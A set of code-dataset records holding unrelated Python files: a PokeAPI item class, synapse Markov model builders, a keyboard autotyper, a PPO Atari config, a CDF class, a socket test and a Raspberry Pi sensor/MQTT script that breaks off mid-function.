+{"seq_id":"287854575","text":"from apirequests.GetRequest import GetRequest\n\n\nclass Item:\n    name = ''\n    cost = ''\n    effects = []\n\n    def __init__(self, name: str):\n        response = GetRequest('item', name)\n        data = response.get_data()\n        self.name = data['name']\n        self.cost = data['cost']\n        self.convert_effect(data['effect_entries'])\n\n    def display_properties(self):\n        print('Name: ' + self.name)\n        print('Cost: ' + str(self.cost))\n        print(self.effects)\n\n    def convert_effect(self, effects):\n        for effect in effects:\n            self.effects.append(effect['short_effect'])\n","sub_path":"apirequests/Item.py","file_name":"Item.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"71541915","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 23 14:57:38 2017\n\nUtility functions for constructing Markov transition matrices\nand SynapseMemoryModel objects.\n\nMethods\n-------\nbinary_weights(nst)\n    vector of +/-1.\nlinear_weights(nst)\n    vector of numbers between +/-1.\nstochastifyC(W)\n    turn into continuous time transition matrix.\nstochastifyD(mat)\n    turn into discrete time transition matrix.\nrand_trans(nst, sp)\n    random transition matrix.\nbuild_zero(nst)\n    empty model (use with SynapseMemoryModel.Build).\nbuild_rand(nst, sp)\n    random model (use with SynapseMemoryModel.Build).\nbuild_serial(nst, q)\n    serial model (use with SynapseMemoryModel.Build).\nbuild_multistate(nst, q)\n    multistate model (use with SynapseMemoryModel.Build).\n\n@author: Subhy\n\"\"\"\n\nfrom typing import Dict\nimport numpy as np\nimport numpy_linalg as la\n\n\ndef binary_weights(nst: int) -> la.lnarray:  # binary synaptic weights\n    \"\"\"\n    Make binary (+/-1) weight vector\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n\n    Returns\n    -------\n    w : la.lnarray\n        vector of synaptic weights\n    \"\"\"\n    weight = la.ones(nst // 2)\n    return la.hstack((-weight, weight))\n\n\ndef linear_weights(nst: int) -> la.lnarray:  # linear synaptic weights\n    \"\"\"\n    Make linear (-1,...,1) weight vector\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n\n    Returns\n    -------\n    w : la.lnarray\n        vector of synaptic weights\n    \"\"\"\n    return la.linspace(-1., 1., nst)\n\n\ndef stochastify_c(mat: la.lnarray):  # make cts time stochastic\n    \"\"\"\n    Make a matrix the generator of a continuous time Markov process.\n    Changes diagonal to make row sums zero.\n    **Modifies** in place, **does not** return.\n\n    Parameters\n    ----------\n    mat : la.lnarray (...,n,n)\n        square matrix with non-negative off-diagonal elements.\n        **Modified** in place.\n    \"\"\"\n    mat -= np.apply_along_axis(np.diagflat, -1, mat.sum(axis=-1))\n\n\ndef stochastify_d(mat: la.lnarray):  # make dsc time stochastic\n    \"\"\"\n    Make a matrix the generator of a discrete time Markov process.\n    Scales rows to make row sums one.\n\n    Parameters\n    ----------\n    mat : la.lnarray (...,n,n)\n        square matrix with non-negative elements.\n        **Modified** in place\n    \"\"\"\n    mat /= mat.sum(axis=-1, keepdims=True)\n\n\ndef isstochastic_c(mat: la.lnarray, thresh: float = 1e-5) -> bool:\n    \"\"\"Are row sums zero?\n    \"\"\"\n    return (np.fabs(mat.sum(axis=-1)) < thresh).all()\n\n\ndef isstochastic_d(mat: la.lnarray, thresh: float = 1e-5) -> bool:\n    \"\"\"Are row sums one?\n    \"\"\"\n    return (np.fabs(mat.sum(axis=-1) - 1.) < thresh).all()\n\n\n@la.wrappers.wrap_one\ndef rand_trans(nst: int, npl: int = 1, sparsity: float = 1.) -> la.lnarray:\n    \"\"\"\n    Make a random transition matrix (continuous time).\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n    npl : int\n        number of plasticity types\n    sparsity : float\n        sparsity\n\n    Returns\n    -------\n    mat : la.lnarray\n        transition matrix\n    \"\"\"\n    mat = la.random.rand(npl, nst, nst)\n    ind = la.random.rand(npl, nst, nst)\n    mat[ind > sparsity] = 0.\n    stochastify_c(mat)\n    return mat\n\n\ndef serial_trans(nst: int, jmp: float = 1.) -> la.lnarray:\n    \"\"\"\n    Make a random transition matrix (continuous time).\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n    sparsity : float\n        sparsity\n\n    Returns\n    -------\n    mat : la.lnarray\n        transition matrix\n    \"\"\"\n    mat = la.stack((la.diag(jmp * np.ones(nst-1), 1),\n                    la.diag(jmp * np.ones(nst-1), -1)))\n    stochastify_c(mat)\n    return mat\n\n\ndef build_generic(func, nst: int, npl: int = 2,\n                  binary: bool = False) -> Dict[str, la.lnarray]:\n    \"\"\"Make a model from a matrix creating function.\n\n    Factory for model builderss.\n    For use with `SynapseMemoryModel.Build`.\n\n    Parameters\n    ----------\n    Func : function\n        function with signature `func(nst: int, npl: int) -> la.lnarray` and\n        func(nst).shape = (npl, nst, nst)\n    nst : int\n        total number of states\n    npl : optional, int = 2\n        number of plasticity matrices\n    binary : optional, bool = True\n        is the weight vector binary? Otherwise it's linear. Default: False\n\n    Returns\n    -------\n    dictionary:\n        plast : la.lnarray\n            potentiation/depression transition matrices\n        weight : la.lnarray\n            synaptic weights (linear/binary)\n        signal : la.lnarray\n            desired signal contribution from each plasticity type\n    \"\"\"\n    plast = la.asarray(func(nst, npl))\n    if binary:\n        weight = binary_weights(nst)\n    else:\n        weight = linear_weights(nst)\n    signal = la.linspace(1, -1, npl)\n    return {'plast': plast, 'weight': weight, 'signal': signal}\n\n\ndef build_zero(nst: int, npl: int = 2,\n               binary: bool = False) -> Dict[str, la.lnarray]:\n    \"\"\"Make an empty model.\n\n    Make an empty model, i.e. all transition rates are zero.\n    For use with `SynapseMemoryModel.Build`.\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n    binary : bool\n        is the weight vector binary? Otherwise it's linear. Default: False\n\n    Returns\n    -------\n    dictionary:\n        plast : la.lnarray\n            potentiation/depression transition matrices\n        weight : la.lnarray\n            synaptic weights (linear/binary)\n        signal : la.lnarray\n            desired signal contribution from each plasticity type\n    \"\"\"\n    return build_generic(lambda n, p: la.zeros((p, n, n)),\n                         nst, npl, binary)\n\n\ndef build_empty(nst: int, npl: int = 2,\n                binary: bool = False) -> Dict[str, la.lnarray]:\n    \"\"\"Make an empty model.\n\n    Make an empty model, i.e. all transition rates uninitialised.\n    For use with `SynapseMemoryModel.Build`.\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n    binary : bool\n        is the weight vector binary? Otherwise it's linear. Default: False\n\n    Returns\n    -------\n    dictionary:\n        plast : la.lnarray\n            potentiation/depression transition matrices\n        weight : la.lnarray\n            synaptic weights (linear/binary)\n        signal : la.lnarray\n            desired signal contribution from each plasticity type\n    \"\"\"\n    return build_generic(lambda n, p: la.empty((p, n, n)),\n                         nst, npl, binary)\n\n\ndef build_rand(nst: int, npl: int = 2, binary: bool = False,\n               sparsity: float = 1.) -> Dict[str, la.lnarray]:\n    \"\"\"Make a random model.\n\n    Make a random model, i.e. transition rates are random numbers.\n    For use with `SynapseMemoryModel.Build`.\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n    binary : bool\n        is the weight vector binary? Otherwise it's linear. Default: False\n    optional arguments\n        passed to rand_trans\n    sp : float\n        sparsity, default: 1.\n\n    Returns\n    -------\n    dictionary:\n        plast : la.lnarray\n            potentiation/depression transition matrices\n        weight : la.lnarray\n            synaptic weights (linear/binary)\n        signal : la.lnarray\n            desired signal contribution from each plasticity type\n    \"\"\"\n    return build_generic(lambda n, p: rand_trans(n, p, sparsity),\n                         nst, npl, binary)\n\n\ndef build_serial(nst: int, jmp: float) -> Dict[str, la.lnarray]:\n    \"\"\"Make a serial model.\n\n    Make a serial model, i.e. uniform nearest neighbour transition rates,\n    and binary weights.\n    For use with `SynapseMemoryModel.Build`.\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n    jmp : float\n        transition rate\n\n    Returns\n    -------\n    dictionary:\n        plast : la.lnarray\n            potentiation/depression transition matrices\n        weight : la.lnarray\n            synaptic weights (linear/binary)\n        signal : la.lnarray\n            desired signal contribution from each plasticity type\n    \"\"\"\n    out = build_empty(nst, 2, True)\n    out['plast'] = serial_trans(nst, jmp)\n    return out\n\n\ndef build_multistate(nst: int, jmp: float) -> Dict[str, la.lnarray]:\n    \"\"\"Make a multistate model.\n\n    Make a multistate model, i.e. uniform nearest neighbour transition rates,\n    and linear weights.\n\n    For use with `SynapseMemoryModel.Build`\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n    jmp : float\n        transition rate\n\n    Returns\n    -------\n    dictionary:\n        plast : la.lnarray\n            potentiation/depression transition matrices\n        weight : la.lnarray\n            synaptic weights (linear/binary)\n        signal : la.lnarray\n            desired signal contribution from each plasticity type\n    \"\"\"\n    out = build_empty(nst, 2, False)\n    out['plast'] = serial_trans(nst, jmp)\n    return out\n\n\ndef build_cascade(nst: int, jmp: float) -> Dict[str, la.lnarray]:\n    \"\"\"Make a cascade model.\n\n    Make a cascade model with geometric transition rates and binary weights.\n    For use with `SynapseMemoryModel.Build`.\n\n    Parameters\n    ----------\n    n : int\n        total number of states\n    jmp : float\n        transition rate parameter\n\n    Returns\n    -------\n    dictionary:\n        plast : la.lnarray\n            potentiation/depression transition matrices\n        weight : la.lnarray\n            synaptic weights (linear/binary)\n        signal : la.lnarray\n            desired signal contribution from each plasticity type\n    \"\"\"\n    out = build_zero(nst, 2, True)\n    plast = out['plast']\n    n = nst // 2\n    jmp_vec = np.logspace(n-2, 0, num=n-1, base=jmp)\n    jmp /= (1-jmp)\n\n    inds = np.arange(1, n)\n    plast[0, inds, n] = jmp_vec\n    plast[0, 0, n] = jmp_vec[0] * jmp\n    plast[0, inds, inds-1] = jmp_vec * jmp\n\n    inds = nst - 1 - inds\n    plast[1, inds, n-1] = jmp_vec\n    plast[1, -1, n-1] = jmp_vec[0] * jmp\n    plast[1, inds, inds+1] = jmp_vec * jmp\n\n    stochastify_c(plast)\n#    out['plast'] = plast\n    return out\n\n\ndef adjoint(tensor: la.lnarray, measure: la.lnarray) -> la.lnarray:\n    \"\"\"Adjoint with respect to L2 inner product with measure\n\n    Parameters\n    ----------\n    tensor : la.lnarray (...,n,n) or (...,1,n) or (...,n,1)\n        The matrix/row/column vector to be adjointed.\n    measure : la.lnarray (...,n)\n        The measure for the inner-product wrt which we adjoint\n\n    Parameters\n    ----------\n    tensor : la.lnarray (...,n,n) or (...,n,1) or (...,1,n)\n        The adjoint matrix/column/row vector.\n    \"\"\"\n    adj = tensor.t\n    if adj.shape[-1] == 1:  # row -> col\n        adj /= measure.c\n    elif adj.shape[-2] == 1:  # col -> row\n        adj *= measure.r\n    else:  # mat -> mat\n        adj *= measure.r / measure.c\n    return adj\n","sub_path":"Code/Python/complex_synapse/builders.py","file_name":"builders.py","file_ext":"py","file_size_in_byte":10814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"90948697","text":"\nimport pyautogui\nimport time\nif __name__ == \"__main__\":\n    n = 10  # The number of times you want the message to be spammed\n    message = \"Hello\\n\"  # The message to spam or autotype\n    duration = 0.1  # the time allotted to type each letter (in seconds)\n    wait_time = 2\n    print('Autotyping starts in '+str(wait_time)+' seconds')\n    # in this time interval, move the mouse to the text-box and click on it (in seconds)\n    time.sleep(wait_time)\n    for i in range(0, n):\n        pyautogui.typewrite(message, duration)\n","sub_path":"scr.py","file_name":"scr.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"468501649","text":"from torchrl.agents import PGAgent\nfrom torchrl.envs import GymEnv, ParallelEnv\nfrom torchrl.envs.gym_wrappers import atari_wrap\nfrom torchrl.models import PPOClipModel, ValueModel\nfrom torchrl.utils import piecewise_linear_schedule\n\nMAX_STEPS = 15e6\n\n# Create environment\nenvs = [\n    GymEnv(\n        'PongNoFrameskip-v4',\n        fixed_normalize_states=True,\n        clip_reward_range=1,\n        wrappers=[atari_wrap]) for _ in range(8)\n]\nenv = ParallelEnv(envs)\n\nlr_schedule = piecewise_linear_schedule(\n    values=[2.5e-4, 2.5e-4, 1e-4, 5e-5],\n    boundaries=[MAX_STEPS * 0.1, MAX_STEPS * 0.5, MAX_STEPS * 0.8])\n\nclip_schedule = piecewise_linear_schedule(\n    values=[0.1, 0.1, 0.03], boundaries=[MAX_STEPS * 0.1, MAX_STEPS * 0.7])\n\npolicy_model = PPOClipModel.from_arch(\n    arch='a3c',\n    env=env,\n    num_epochs=4,\n    num_mini_batches=4,\n    ppo_clip_range=clip_schedule,\n    entropy_coef=0.01,\n    opt_params=dict(lr=2.5e-4, eps=1e-5),\n    lr_schedule=lr_schedule,\n    clip_grad_norm=0.5)\n\nvalue_model = ValueModel.from_arch(\n    arch='a3c',\n    env=env,\n    body=policy_model.body,\n    num_epochs=4,\n    num_mini_batches=4,\n    opt_params=dict(lr=2.5e-4, eps=1e-5),\n    lr_schedule=lr_schedule,\n    clip_range=clip_schedule,\n    clip_grad_norm=0.5,\n    loss_coef=0.5)\n\n# Create agent\nagent = PGAgent(\n    env,\n    policy_model=policy_model,\n    value_model=value_model,\n    log_dir='tests/pong/8parallel-p_e4_nmb4-0ent-v_nmb4_e4_vlc05_gc05_v4-3')\n\nagent.train(max_steps=MAX_STEPS, steps_per_batch=128)\n","sub_path":"examples/ppo_atari.py","file_name":"ppo_atari.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"87801051","text":"'''\nCreated on 28 Oct 2013\n\n@author: wrightm\n'''\nimport bisect\nimport math\nimport random\n\nclass CDF(object):\n    '''\n    Cumulative Density Function\n    '''\n    \n    def __init__(self, sample, ccdf=False):\n        '''\n            Produce cdf from sample\n            \n            Parameters:\n            ----------\n            @param sample: sample to be used to construct cdf\n            @param ccdf: calculate the ccdf instead of the cdf \n\n            Exceptions:\n            -----------\n            @raise AttributeError: if sample does not have getPairs attribute\n        '''\n        \n        if not hasattr(sample, 'getPairs'):\n            raise AttributeError('sample does not have getPairs attribute')\n\n        self.__sample = sample\n        self.__ccdf = ccdf\n        self.__init()\n        \n        \n    def __init(self):\n        \"\"\"\n        Initialise cdf from sample\n        \"\"\"\n        runningSum = 0\n        self.__xs = []\n        self.__cs = []\n        for key, value in self.__sample.getPairs():\n            runningSum += value\n            self.__xs.append(key)\n            self.__cs.append(runningSum)\n        \n        total = float(runningSum)\n        if not self.__ccdf:\n            self.__ps = map(lambda value: value/total, self.__cs)\n        else:\n            self.__ps = map(lambda value: 1.0 - (value/total), self.__cs)\n        \n    def getValue(self, prob):\n        \"\"\"\n        Return value for a given probability\n            \n        Parameters:\n        -----------\n        @param prob: probability used to retrieve associated value\n\n        Return:\n        -------\n        @return: value for a given probability\n        \"\"\"\n        if prob <= 0.0:\n            return self.__xs[0]\n        if prob >= 1.0:\n            return self.__xs[-1]\n        \n        index = bisect.bisect(self.__ps, prob)\n        if prob == self.__ps[index-1]:\n            return self.__xs[index-1]\n        else:\n            return self.__xs[index]\n        \n    def getProbability(self, value):\n        \"\"\"\n        Return probability for a given value\n            \n        Parameters:\n        -----------\n        @param value: value used to retrieve associated probability\n\n        Return:\n        -------\n        @return: probability for a given value   \n        \"\"\"\n        index = bisect.bisect(self.__xs, value)\n        if index == 0:\n            return self.__ps[index]\n        else:\n            return self.__ps[index-1]\n        \n    def getMean(self):\n        \"\"\"\n        Return Mean of CDF\n        \n        Return:\n        -------\n        @return: mean probability\n        \"\"\"\n        oldProb = 0.0\n        mu = 0.0\n        for value, prob in zip(self.__xs, self.__ps):\n            newProb = prob - oldProb\n            mu += newProb*value\n            oldProb = newProb\n        return mu\n    \n    def getVar(self, mu=None):\n        \"\"\"\n        Return variance of CDF\n       \n        Parameters:\n        -----------\n        @param mu: mean of CDF\n        \n        Return:\n        -------\n        @return: variance of probability\n        \"\"\"\n        if mu == None:\n            mu = self.getMean()\n            \n        oldProb = 0.0\n        var = 0.0\n        for value, prob in zip(self.__xs, self.__ps):\n            newProb = prob - oldProb\n            var += newProb * pow((value-mu),2)\n            \n        return var\n    \n    def getStdDev(self, mu=None):\n        \"\"\"\n        Return standard deviation of CDF\n       \n        Parameters:\n        -----------\n        @param mu: mean of CDF\n        \n        Return:\n        -------\n        @return: stdev of probability\n        \"\"\"\n        return math.sqrt(self.getVar(mu))\n    \n    def getSample(self, sampleSize):\n        \"\"\"\n        Return sample of CDF distribution (re-sampling)\n        \n        Parameters:\n        -----------\n        @param sampleSize: size of sample to generate\n        \n        Return:\n        -------\n        @return: list\n        sample of n=sampleSize random cdf values\n        \"\"\"\n        return [ self.getRandomValue() for indx in range(sampleSize) ]\n        \n    def getRandomValue(self):\n        \"\"\"\n        Return random value from CDF\n        \"\"\"\n        return self.getValue(random.random())\n    \n    def getPercentile(self, percentile):\n        \"\"\"\n        Return Percentile value for CDF\n        \n        Parameters:\n        -----------\n        @param percentile: int ranging from 1 to 100\n        \n        Return:\n        -------\n        @return: value for given percentile\n        \n        Exceptions:\n        ----------\n        @raise ValueError: if percentile is not within [1,100]\n        \"\"\"\n        if percentile < 1 or percentile > 100:\n            raise ValueError('percentile is not within the range [1,100]')\n        \n        return self.getValue(float(percentile) / 100.00)\n    \n    def getPairs(self):\n        \"\"\"\n        Return list of (value, probabilities)\n        \"\"\"\n        return zip(self.__xs, self.__ps)\n    \n        ","sub_path":"LibertarianTrader/src/main/com/github/wrightm/libertariantrader/dataanalysis/statistics/cdf.py","file_name":"cdf.py","file_ext":"py","file_size_in_byte":4928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"20485254","text":"import socket\nimport sys\n\nsys.path.append('/etc')\nfrom forge import constants\n\n# Create a TCP/IP socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nfor client in set(constants._CLIENTS_INSTALLED):\n    # Connect the socket to the port on the server given by the caller\n    server_address = (client, constants._SERVER_PORT)\n    print >>sys.stderr, 'Connecting to %s port %s...' % (server_address)\n    \n    try:\n        s.connect(server_address)\n    except socket.error as e:\n        print(\"Client server %s port %s not found.\" % (server_address))\n        break\n    \n    \n    try:\n        \n        \n                        \n        message = 'This is the message.  It will be repeated.'\n        print >>sys.stderr, 'Sending \"%s\"' % message\n        s.sendall(message)\n         \n        amount_received = 0\n        amount_expected = len(message)\n         \n        while amount_received < amount_expected:\n            data = s.recv(1024)\n            amount_received += len(data)\n             \n            print >>sys.stderr, 'Received \"%s\"' % data\n    \n    finally:\n        s.close()","sub_path":"src/sandbox/sockets/sending_test.py","file_name":"sending_test.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"69735145","text":"#!/usr/bin/env python3.7\n\n# This file contains a Python implementation of the Arduino sketch \n# ESP32DemoApp.ino.  That sketch exercises a bunch of sensors and communicates with \n# the main server.\n\nimport paho.mqtt.client as mqtt\nimport random\nimport math\nimport json\nimport time\nimport os\nfrom decimal import *\nimport smbus\nfrom dotenv import load_dotenv\nload_dotenv()\nimport board\nimport busio\nimport digitalio\nimport adafruit_ssd1306\n\n# Here are some values that we don't want to bake into the source code.  \n# They're held in environment variables instead.\n# Note that these do NOT include the router's ssid and password.  The standard \n# method for booting a Raspberryt Pi connects to the router.  That's happens long \n# before we get here.\n\n# MQTT is used to move data between a server and devices.\n# Devices publish messages and an mqtt broker sends those messsages to entities \n# MQTT_PASSWORD provide basic authentation for the broker.\nMQTT_BROKER=os.getenv('MQTT_BROKER')\nMQTT_PORT=int(os.getenv('MQTT_PORT'))\nMQTT_USERNAME=os.getenv('MQTT_USERNAME')\nMQTT_PASSWORD=os.getenv('MQTT_PASSWORD')\nMQTT_DEVKEY=os.getenv('MQTT_DEVKEY')\n\n# Here are the routines used to setup and periodically read sensor data.\n# The routines that carry out commands from the server are here too.\n# Start by listing the sensors we'll use, their I2C addresses and their \n# sensorIndices.\n\n# I2C addresses\nHCPA_Addr = 0x28\nPROXY_Addr = 0x39\nOLED_Addr = 0x3C\nPCA_Addr = 0x40\nADC_Addr = 0x50\nSOIL_Addr = 0x51\nGAS_Addr = 0x52\nMPL_Addr = 0x60\nTSL_Addr = 0x49\n\n# Gigabits sensor indices\nHUMIDITY_SENSOR_IDX = \"1\"\nTEMPERATURE_SENSOR_IDX = \"2\"\nOLED_INVERT_COMMAND_IDX = \"3\"\nPRESSURE_SENSOR_IDX = \"4\"\nGAS_SENSOR_IDX = \"5\"\nSOIL_SENSOR_IDX = \"6\"\nPROXY_SENSOR_IDX = \"7\"\nVISIBLE_LIGHT_SENSOR_IDX = \"8\"\nINFRARED_LIGHT_SENSOR_IDX = \"9\"\n\n\n# On each cycle of gathering data, we put the current sensor value indexed by \n# the current sensorIndex into this dictionary.  At the end of a cycle of data \n# gathering, we convert the dictionary into a JSON object and return it to the \n# server.\nsensorVals = {}\n\n# Initialize the display.\ndef setupDisplay():\n    # set the display size in pixels\n    DISPLAY_WIDTH = 128\n    DISPLAY_HEIGHT = 32\n    DISPLAY_BORDER = 5\n\n    # define the reset key.  It's pin 4.\n    oled_reset = digitalio.DigitalInOut(board.D4)\n    \n    i2c = busio.I2C(board.SCL, board.SDA)\n\n    # make a glorious display object\n    # The first two parameters are the pixel width and pixel height.  Change these\n    # to the right size for your display!  This also tells the system to\n    # use I2C to send data to the display.\n    display = adafruit_ssd1306.SSD1306_I2C(DISPLAY_WIDTH, \n    DISPLAY_HEIGHT, i2c, addr=OLED_Addr, reset=oled_reset)\n    # Alternatively you can change the I2C address of the device with an addr parameter:\n    #display = adafruit_ssd1306.SSD1306_I2C(128, 32, bus, addr=0x31)\n\n    # get rid of initial display trash\n    display.fill(0)\n    display.show()\n\n    # return the display so other code and use it.\n    return display\n\n# This is the temperature and humidity sensor that's in the training board.\n# Reference https://github.com/ControlEverythingCommunity/HCPA-5V-U3/blob/master/Python/HCPA_5V_U3.py\n\n# The setup routine does nothing\n#def setupHCPA():\n\n# This routine gets the sensor data, converts it to sensible values and  \n# stuffs it into sensorVals.  After all the sensors have been processed, \n# sensorVals is returned in one wad.\ndef sendHCPAData(sensorVals):\n    print(\"Sending HCPA\")\n\n    #  Send the request or some data.  This initiates a measurent cycle.\n    bus.write_byte(HCPA_Addr, 0x80)\n    \n    # Wait for the measurement cycle to complete\n    time.sleep(0.5)\n    \n    # Get the next 4 bytes from the sensor\n    # humidity msb, humidity lsb, cTemp msb, cTemp lsb\n    data = bus.read_i2c_block_data(HCPA_Addr, 4)\n    \n    # Process the incoming data.  The MS two bits of humidity data are really \n    # status bits.  The example code ignores them so we do too.\n    humidity = (((data[0] & 0x3F) * 256) + data[1]) / 16384.0 * 100.0\n    cTemp = (((data[2] * 256) + (data[3] & 0xFC)) / 4) / 16384.0 * 165.0 - 40.0\n    fTemp = (cTemp * 1.8) + 32\n    \n    print(\"humidity: {}\".format(humidity))\n    print(\"Temperature (deg C): {}\".format(cTemp))\n    print(\"Temperature (deg F): {}\".format(fTemp))\n    # store the humidity and temperature into sensorVals dict\n    sensorVals[HUMIDITY_SENSOR_IDX] = round(humidity, 5)\n    sensorVals[TEMPERATURE_SENSOR_IDX] = round(fTemp, 5)\n\n# Setup the pressure sensor.\n# Note that the compensation variables A0, B1, B2 and C12 are effectively\n# global inside this file\nA0 = 0.0\nB1 = 0.0\nB2 = 0.0\nC12 = 0.0\n\n# Calculate the compensation coefficients in the setup routine.\ndef setupMPL():\n    \n    global A0\n    global B1\n    global B2\n    global C12\n    \n    # MPL115A2 address, 0x60(96)\n    # Reading Coefficents for compensation\n    # Read data back from 0x04(04), 8 bytes\n    # A0 MSB, A0 LSB, B1 MSB, B1 LSB, B2 MSB, B2 LSB, C12 MSB, C12 LSB\n    data = bus.read_i2c_block_data(MPL_Addr, 0x04, 8)\n    \n    # Convert the data to floating points\n    A0 = (data[0] * 256 + data[1]) / 8.0\n    B1 = (data[2] * 256 + data[3])\n    if B1 > 32767 :\n        B1 -= 65536\n    B1 = B1 / 8192.0\n    B2 = (data[4] * 256 + data[5])\n    if B2 > 32767 :\n        B2 -= 65536\n    B2 = B2 / 16384.0\n    C12 = ((data[6] * 256 + data[7]) / 4) / 4194304.0\n    \n    print(\"in setupMPL:  A0: %f, B1: %f, B2: %f, C12: %f\" %(A0, B1, B2, C12))\n\ndef sendMPLData(sensorVals):\n    print(\"Sending pressure data ...\")\n  \n    # print(\"in sendMPLData, A0: %f, B1: %f, B2: %f, C12: %f\" %(A0, B1, B2, C12))\n   \n    # MPL115A2 address, 0x60(96)\n    # Send Pressure measurement command, 0x12(18)\n    #       0x00(00)    Start conversion\n    bus.write_byte_data(0x60, 0x12, 0x00)\n    \n    time.sleep(0.5)\n    \n    # MPL115A2 address, 0x60(96)\n    # Read data back from 0x00(00), 4 bytes\n    # pres MSB, pres LSB, temp MSB, temp LSB\n    data = bus.read_i2c_block_data(0x60, 0x00, 4)\n    \n    # Convert the data to 10-bits  Note that we calculate the temperature,\n    # then discard it after using it for compensation\n    pres = ((data[0] * 256) + (data[1] & 0xC0)) / 64\n    temp = ((data[2] * 256) + (data[3] & 0xC0)) / 64\n    \n    # Calculate pressure compensation\n    presComp = A0 + (B1 + C12 * temp) * pres + B2 * temp\n    \n    # Convert the data\n    pressure = (65.0 / 1023.0) * presComp + 50\n    \n    print(\"Pressure: {}\".format(pressure))\n    # store the pressure into sensorVals dict\n    sensorVals[PRESSURE_SENSOR_IDX] = round(pressure, 5);\n\n# There's nothing for the setup routine to set up, so proceed to sending a \n# sample back to the server.\n# This is from https://github.com/ControlEverythingCommunity/ADC121C021/blob/master/Arduino/ADC121C021.ino\ndef setupGas():\n\n    # Select configuration register, 0x02(02)\n    #       0x20(32)    Automatic conversion mode enabled\n    bus.write_byte_data(GAS_Addr, 0x02, 0x20)\n    \n    time.sleep(0.5)\n    \ndef sendGasData(sensorVals):\n    print(\"Sending Gas\")\n    \n    # Read data back from 0x00(00), 2 bytes\n    # raw_adc MSB, raw_adc LSB\n    data = bus.read_i2c_block_data(GAS_Addr, 0x00, 2)\n    \n    # Convert the data to 12-bits\n    raw_adc = (data[0] & 0x0F) * 256 + data[1]\n    \n    # store the gas measurement into sensorVals dict\n    print(\"Gas: {}\".format(raw_adc))\n    sensorVals[GAS_SENSOR_IDX] = round(raw_adc, 5)\n    \ndef setupSoilData():\n\n    # Select configuration register, 0x02(02)\n    #       0x20(32)    Automatic conversion mode enabled\n    bus.write_byte_data(SOIL_Addr, 0x02, 0x20)\n    \n    time.sleep(0.5)\n    \ndef sendSoilData(sensorVals):\n    print(\"Sending Soil\")\n    \n    # Read data back from 0x00(00), 2 bytes\n    # raw_adc MSB, raw_adc LSB\n    data = bus.read_i2c_block_data(SOIL_Addr, 0x00, 2)\n    \n    # Convert the data to 12-bits\n    raw_adc = (data[0] & 0x0F) * 256 + data[1]\n    \n    # store the soil measurement into sensorVals dict\n    print(\"Soil: {}\".format(raw_adc))\n    sensorVals[SOIL_SENSOR_IDX] = round(raw_adc, 5)\n\n\n# Set up the proximity detector.\ndef setupProximity():\n    print(\"Sending Proximity\")\n    \n    # Select the ENABLE register, 0x00(0), with command register 0x80(128)\n    #       0x0D(14)    Power on, Wait enabled, Proximity enabled\n    bus.write_byte_data(PROXY_Addr, 0x00 | 0x80, 0x0D)\n    \n    #  Select proximity time control register, 0x02(2), with command register 0x80(128)\n    #       0xFF(255)   Time = 2.73 ms\n    bus.write_byte_data(PROXY_Addr, 0x02 | 0x80, 0xFF)\n    \n    # Select wait time register 0x03(03), with command register, 0x80(128)\n    #       0xFF(255)   Time - 2.73ms\n    bus.write_byte_data(PROXY_Addr, 0x03 | 0x80, 0xFF)\n    \n    # Select pulse count register, 0x0E(14), with command register 0x80(128)\n    #       0x20(32)    Pulse count = 32\n    bus.write_byte_data(PROXY_Addr, 0x0E | 0x80, 0x20)\n\n    # Select control register, 0x0F(15), with command register 0x80(128)\n    #       0x20(32)    Proximity uses CH1 diode\n    bus.write_byte_data(PROXY_Addr, 0x0F | 0x80, 0x20)\n\n    time.sleep(0.8)\n\ndef sendProximityData(sensorVals):\n    print(\"Sending proximity data ...\")\n    \n    # Read data back from 0x18(57) with command register 0x80(128), 2 bytes\n    # Proximity lsb, Proximity msb\n    data = bus.read_i2c_block_data(PROXY_Addr, 0x18 | 0x80, 2)\n\n    # Convert the dataAccording to \n    # https://www.renesas.com/us/en/www/doc/application-note/an1436.pdf,\n    # The signal we get is linear with the captured  infrared signal\n    # intensity, or inversely proportional to the square of the distance.\n    # So, let's return both the number emitted by the Proxy sensor\n    # and the actual distance (mostly, kinda, sort of).\n    # if signal = 1 / (distance squared), distance squared = 1/signal.\n    # so distance = sqrt(1/signal).  Scale the distance so it doesn't\n    # look like it's measured in light-years.\n    proximity = data[1] * 256 + data[0]\n    distance = 1000.0 * math.sqrt(1.0 / float(proximity))\n\n\n    # store the proximity measurement into sensorVals dict\n    print(\"Proximity: {}\".format(proximity))\n    print(\"Distance: {}\".format(distance))\n    sensorVals[PROXY_SENSOR_IDX] = round(proximity, 5)\n\n\n# Reference: https://github.com/ControlEverythingCommunity/TSL2561/blob/master/Python/TSL2561.py\ndef setupTSL():\n\n    # Select control register, 0x00(00) with command register, 0x80(128)\n    #       0x03(03)    Power ON mode\n    bus.write_byte_data(TSL_Addr, 0x00 | 0x80, 0x03)\n\n    # Select timing register, 0x01(01) with command register, 0x80(128)\n    #       0x02(02)    Nominal integration time = 402ms\n    bus.write_byte_data(TSL_Addr, 0x01 | 0x80, 0x02)\n\n    time.sleep(0.5)\n\ndef sendTSLData(sensorVals):\n    # Read data back from 0x0C(12) with command register, 0x80(128), 2 bytes\n    # ch0 LSB, ch0 MSB\n    data = 